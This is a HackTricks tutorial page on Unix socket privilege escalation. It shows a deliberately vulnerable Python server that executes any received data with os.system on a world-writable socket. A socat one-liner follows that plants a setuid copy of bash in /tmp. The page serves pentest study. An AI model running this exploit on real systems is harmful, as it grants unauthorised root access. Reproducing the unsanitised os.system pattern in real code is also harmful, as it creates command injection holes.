mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-22 19:13:39 +00:00
81 lines
3.7 KiB
Markdown
81 lines
3.7 KiB
Markdown
|
|
|
|
<details>
|
|
|
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
|
|
|
</details>
|
|
|
|
|
|
## Socket binding example with Python
|
|
|
|
In the following example a **unix socket is created** (`/tmp/socket_test.s`) and everything **received** is going to be **executed** by `os.system`.I know that you aren't going to find this in the wild, but the goal of this example is to see how a code using unix sockets looks like, and how to manage the input in the worst case possible.
|
|
|
|
{% code title="s.py" %}
|
|
```python
|
|
import socket
|
|
import os, os.path
|
|
import time
|
|
from collections import deque
|
|
|
|
if os.path.exists("/tmp/socket_test.s"):
|
|
os.remove("/tmp/socket_test.s")
|
|
|
|
server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
|
|
server.bind("/tmp/socket_test.s")
|
|
os.system("chmod o+w /tmp/socket_test.s")
|
|
while True:
|
|
server.listen(1)
|
|
conn, addr = server.accept()
|
|
datagram = conn.recv(1024)
|
|
if datagram:
|
|
print(datagram)
|
|
os.system(datagram)
|
|
conn.close()
|
|
```
|
|
{% endcode %}
|
|
|
|
**Execute** the code using python: `python s.py` and **check how the socket is listening**:
|
|
|
|
```python
|
|
netstat -a -p --unix | grep "socket_test"
|
|
(Not all processes could be identified, non-owned process info
|
|
will not be shown, you would have to be root to see it all.)
|
|
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
|
|
```
|
|
|
|
**Exploit**
|
|
|
|
```python
|
|
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
|
|
```
|
|
|
|
|
|
|
|
<details>
|
|
|
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
|
|
|
</details>
|
|
|
|
|